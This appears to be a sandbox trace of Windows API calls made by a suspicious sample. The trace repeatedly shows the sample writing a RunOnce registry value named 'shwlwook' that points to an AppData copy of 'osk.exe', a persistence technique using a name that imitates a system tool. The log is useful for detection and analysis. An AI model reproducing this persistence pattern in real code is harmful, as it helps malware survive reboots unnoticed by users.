[0255.457] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.457] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.457] RegCloseKey (hKey=0x14c) returned 0x0 [0255.457] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.458] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.504] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.505] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.505] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.505] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.505] GetTickCount () returned 0x3f2dd [0255.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5491908 | out: lpSystemTimeAsFileTime=0x5491908*(dwLowDateTime=0xb2f3e1e2, dwHighDateTime=0x1d4f110)) [0255.505] SetEvent (hEvent=0x4a8) returned 1 [0255.505] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f010 | out: ppvObject=0x624f010*=0x0) returned 0x80004002 [0255.505] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1f [0255.506] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.506] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x20 [0255.506] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624acf0) returned 0x0 [0255.506] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1f [0255.506] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.506] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.506] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.506] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.507] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f030 | out: ppvObject=0x624f030*=0x0) returned 0x80004002 [0255.507] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x20 [0255.507] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1f [0255.507] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.507] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1f [0255.507] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624f040) returned 0x0 [0255.508] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1e [0255.508] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.509] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.509] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.509] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.509] RegCloseKey (hKey=0x14c) returned 0x0 [0255.509] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.510] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.531] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.531] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.531] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.532] SetEvent (hEvent=0x4b0) returned 1 [0255.532] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.532] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f090 | out: ppvObject=0x624f090*=0x0) returned 0x80004002 [0255.532] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x20 [0255.532] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.532] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x21 [0255.532] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624ad50) returned 0x0 [0255.532] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x20 [0255.532] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.533] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.533] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.533] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.533] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f0b0 | out: ppvObject=0x624f0b0*=0x0) returned 0x80004002 [0255.533] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x21 [0255.533] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x20 [0255.533] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.533] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x20 [0255.533] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624f0c0) returned 0x0 [0255.534] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1f [0255.534] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.535] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.535] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.535] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.535] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.535] RegCloseKey (hKey=0x14c) returned 0x0 [0255.536] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.536] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.547] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.547] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.547] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.548] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.548] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f110 | out: ppvObject=0x624f110*=0x0) returned 0x80004002 [0255.548] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x21 [0255.548] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.548] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x22 [0255.548] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624adb0) returned 0x0 [0255.548] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x21 [0255.548] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.549] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.549] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.549] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.549] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f130 | out: ppvObject=0x624f130*=0x0) returned 0x80004002 [0255.549] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x22 [0255.549] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x21 [0255.549] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.549] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x21 [0255.549] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624f140) returned 0x0 [0255.550] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x20 [0255.550] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.551] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 